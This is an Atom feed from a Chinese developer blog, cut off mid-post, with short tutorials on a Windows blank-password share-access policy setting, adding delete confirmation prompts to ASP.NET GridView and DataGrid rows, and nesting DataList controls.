<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_使名扬</title><subtitle type="text">童振华</subtitle><id>http://feed.cnblogs.com/blog/u/248/rss</id><updated>2011-09-10T07:13:34Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><generator>CNBlogs BlogServer</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/248/rss"/><entry><id>http://www.cnblogs.com/tongzhenhua/archive/2010/10/16/1853294.html</id><title type="text">登录失败：用户帐户限制。可能的原因包括不允许空密码，登录时间限制，或强制的策略限制。</title><summary type="text">使用网上邻居/默认共享(http://www.cnblogs.com/tongzhenhua/admin/file://\\192.168.0.2\d$)访问局域网内其他机子时弹出登录界面，输入用户名和空白密码后提示：登录失败：用户帐户限制。可能的原因包括不允许空密码，登录时间限制，或强制的策略限制。原因是192.168.0.2组策略中启用了"使用空白密码的本地帐户只允许进行控制台登录"！安全起见...</summary><published>2010-10-16T15:02:00Z</published><updated>2010-10-16T15:02:00Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><link rel="alternate" href="http://www.cnblogs.com/tongzhenhua/archive/2010/10/16/1853294.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/archive/2010/10/16/1853294.html"/><content type="html">&lt;p&gt;使用网上邻居/默认共享(&lt;a href="http://www.cnblogs.com/tongzhenhua/admin/file://\\192.168.0.2\d$"&gt;http://www.cnblogs.com/tongzhenhua/admin/file://\\192.168.0.2\d$&lt;/a&gt;)访问局域网内其他机子时弹出登录界面，输入用户名和空白密码后提示：&lt;br /&gt;登录失败：用户帐户限制。可能的原因包括不允许空密码，登录时间限制，或强制的策略限制。&lt;/p&gt;&lt;br /&gt;原因是192.168.0.2组策略中启用了"使用空白密码的本地帐户只允许进行控制台登录"！安全起见建议给帐户加个密码，在其他机子上访问的时候输入用户名和密码即可。如确实不想设置密码又想在其他机子上可以正常访问，按如下方法设置：&lt;br /&gt;&lt;br /&gt;运行gpedit.msc，依次展开"计算机配置&amp;gt;Windows 设置&amp;gt;安全设置&amp;gt;本地策略&amp;gt;安全选项"，将"帐户：使用空白密码的本地帐户只允许进行控制台登录。"一项禁用即可。 &lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.cnblogs.com/tongzhenhua/aggbug/1853294.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/tongzhenhua/archive/2010/10/16/1853294.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/tongzhenhua/archive/2010/09/30/1839277.html</id><title type="text">gridview中如何添加对某行删除时的确认提示框</title><summary type="text">1.在RowDateBound事件中添加:protected void GridView2_RowDataBound(object sender, GridViewRowEventArgs e) {  if (e.Row.RowType == DataControlRowType.DataRow) { if (e.Row.RowState == DataControlRowState.Normal...</summary><published>2010-09-30T02:36:00Z</published><updated>2010-09-30T02:36:00Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><link rel="alternate" href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/30/1839277.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/30/1839277.html"/><content type="html">&lt;p&gt;1.在RowDateBound事件中添加:&lt;br /&gt;protected void GridView2_RowDataBound(object sender, GridViewRowEventArgs e)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (e.Row.RowType == DataControlRowType.DataRow)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (e.Row.RowState == DataControlRowState.Normal || e.Row.RowState == DataControlRowState.Alternate)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ((LinkButton)e.Row.Cells[1].Controls[0]).Attributes.Add("onclick", "javascript:return confirm('你确认要删除名称为：\"" + e.Row.Cells[3].Text.ToString().Trim() + "\" 的票据类型吗?')");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;&#xD;
&lt;p&gt;&lt;br /&gt;2.转为模板列,在前台直接添加:&lt;br /&gt;&amp;lt;asp:TemplateField HeaderText="删除" ShowHeader="False"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;ItemTemplate&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;asp:ImageButton ID="ImageButton10" runat="server"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OnClientClick="javascript:return confirm('您是否确认要删除选定的送货单？');"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CommandName="Delete" CausesValidation="False"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ImageUrl="~/images/Gridview_Delete/record_delete_16x16.gif" /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/ItemTemplate&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/asp:TemplateField&amp;gt; &lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;对比DataGrid&lt;/p&gt;&#xD;
&lt;p&gt;protected void DataGrid1_ItemDataBound(object sender, DataGridItemEventArgs e)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LinkButton lb = (LinkButton)e.Item.Cells[4].Controls[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lb.Attributes.Add("onclick", "javascript:if(!window.confirm('Delete,YES or NO ?')) return false;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/tongzhenhua/aggbug/1839277.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/30/1839277.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/tongzhenhua/archive/2010/09/25/1834729.html</id><title type="text">DataList父子嵌套</title><summary type="text">比如为了实现以下嵌套效果&amp;#9733; 人&amp;#9733; 男人 女人 老人 小孩&amp;#9733; 动物&amp;#9733; 狗 猫 &amp;#9733; 水果&amp;#9733; apple 香焦 西瓜 菠萝 葡萄</summary><published>2010-09-25T09:20:00Z</published><updated>2010-09-25T09:20:00Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><link rel="alternate" href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/25/1834729.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/25/1834729.html"/><content type="html">&lt;p&gt;比如为了实现以下嵌套效果&lt;/p&gt;&#xD;
&lt;p&gt;&amp;#9733; 人&amp;#9733;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 男人&amp;nbsp; 女人&amp;nbsp;&amp;nbsp; 老人&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 小孩&lt;br /&gt;&amp;#9733; 动物&amp;#9733;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 狗&amp;nbsp; 猫&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;#9733; 水果&amp;#9733;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; apple&amp;nbsp; 香焦&amp;nbsp; 西瓜&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 菠萝&amp;nbsp;&amp;nbsp; 葡萄&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding-left:5px;padding-right:5px;" onclick="cnblogs_code_show('5db359aa-08e7-41a5-8404-80bf7c6aa7e3')"&gt;&lt;img  id="code_img_opened_5db359aa-08e7-41a5-8404-80bf7c6aa7e3" style="display: none" onclick="cnblogs_code_hide('5db359aa-08e7-41a5-8404-80bf7c6aa7e3',event)" src="http://images.cnblogs.com/OutliningIndicators/ExpandedBlockStart.gif"&gt;&lt;div  id="cnblogs_code_open_5db359aa-08e7-41a5-8404-80bf7c6aa7e3"&gt;&lt;div&gt;&lt;!--&lt;br/ /&gt;&lt;br/ /&gt;Code highlighting produced by Actipro CodeHighlighter (freeware)&lt;br/ /&gt;http://www.CodeHighlighter.com/&lt;br/ /&gt;&lt;br/ /&gt;--&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #008000"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000"&gt;主菜单开始&lt;/span&gt;&lt;span style="color: #008000"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;ASP:datalist&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;id&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Datalist1"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;runat&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="server"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;RepeatDirection&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Horizontal"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;RepeatColumns&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="1"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Width&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="100%"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;OnItemDataBound&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Datalist1_ItemDataBound"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;ItemTemplate&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#9733;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;a&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;href&lt;/span&gt;&lt;span style="color: #0000ff"&gt;='product_type_detail.aspx?id=&amp;lt;%#&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;DataBinder.Eval(Container.DataItem,"typeid")&amp;nbsp;%&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;'&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000; background-color: #ffff00"&gt;&amp;lt;%&lt;/span&gt;&lt;span style="color: #000000; background-color: #f5f5f5"&gt;#&amp;nbsp;DataBinder.Eval(Container.DataItem,&lt;/span&gt;&lt;span style="color: #800000; background-color: #f5f5f5"&gt;"&lt;/span&gt;&lt;span style="color: #800000; background-color: #f5f5f5"&gt;typename&lt;/span&gt;&lt;span style="color: #800000; background-color: #f5f5f5"&gt;"&lt;/span&gt;&lt;span style="color: #000000; background-color: #f5f5f5"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000; background-color: #ffff00"&gt;%&amp;gt;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;a&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;#9733;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;br&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #008000"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000"&gt;子菜单开始&lt;/span&gt;&lt;span style="color: #008000"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;asp:datalist&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;id&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Datalist2"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;Width&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="100%"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;runat&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="server"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;RepeatColumns&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="3"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;RepeatDirection&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Horizontal"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;ItemTemplate&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;a&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;href&lt;/span&gt;&lt;span style="color: #0000ff"&gt;='product_type_detail.aspx?id=&amp;lt;%#&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;DataBinder.Eval(Container.DataItem,"typeid")&amp;nbsp;%&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;'&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000; background-color: #ffff00"&gt;&amp;lt;%&lt;/span&gt;&lt;span style="color: #000000; background-color: #f5f5f5"&gt;#&amp;nbsp;DataBinder.Eval(Container.DataItem,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #800000; background-color: #f5f5f5"&gt;"&lt;/span&gt;&lt;span style="color: #800000; background-color: #f5f5f5"&gt;typename&lt;/span&gt;&lt;span style="color: #800000; background-color: #f5f5f5"&gt;"&lt;/span&gt;&lt;span style="color: #000000; background-color: #f5f5f5"&gt;)&lt;/span&gt;&lt;span style="color: #000000; background-color: #ffff00"&gt;%&amp;gt;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;a&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;ItemTemplate&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;asp:datalist&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #008000"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000"&gt;子菜单结束&lt;/span&gt;&lt;span style="color: #008000"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;ItemTemplate&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;asp:datalist&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #008000"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000"&gt;主菜单结束&lt;/span&gt;&lt;span style="color: #008000"&gt;--&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;后台：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;（1）为主DataList绑定主数据。&lt;/p&gt;&lt;p&gt;void MyBind()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DBHelper helper = new DBHelper();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string sql = "select typeid,pid,typename from product_type where typelevel=1 order by ordernum ";&lt;/p&gt;&lt;p&gt;DataSet ds = new DataSet();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ds = helper.ExecuteDataSet(sql);&lt;/p&gt;&lt;p&gt;Datalist1.DataSource = ds;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Datalist1.DataBind();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 